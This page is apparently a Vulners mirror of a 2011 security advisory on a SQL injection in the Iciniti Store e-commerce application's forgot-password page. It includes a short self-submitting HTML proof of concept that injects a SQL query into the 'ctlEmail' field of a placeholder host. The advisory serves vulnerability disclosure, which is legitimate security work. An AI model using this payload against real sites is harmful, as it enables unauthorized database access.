Vulners
Lucene search
Iciniti Store SQL Injection Vulnerability
Vendor Notification Date. 28-Jul-2011
Product. Iciniti Store
Platform. Windows
Affected versions. 4.3.3683.31484 verified, and possibly
others
Severity Rating. High
Impact. Manipulation of data
Attack Vector. Remote without authentication
Solution Status. Update is available by contacting
Iciniti
CVE reference. CVE - not yet assigned
Details.
Iciniti Store is a web application providing e-commerce and payment
solutions. The application suffers from a SQL injection vulnerability
in logon_forgot_password.aspx. It fails to validate data supplied in
the 'ctlEmail' variable before being used in an SQL query.
Proof of Concept.
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action=" http://x.x.x.x/logon_forgot_password.aspx" name="form"
method="POST">
<input type="text" name="ctlEmail" value="SELECT @@VERSION">
<input type="text" name="btnSubmit" value="Submit">
</form>
</body>
</html>
Solution.
Update is available by contacting Iciniti.
Discovered by.
Sense of Security Labs
# 0day.today [2018-01-10] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Mar 2012 00:00Current
7.1High risk
Vulners AI Score7.1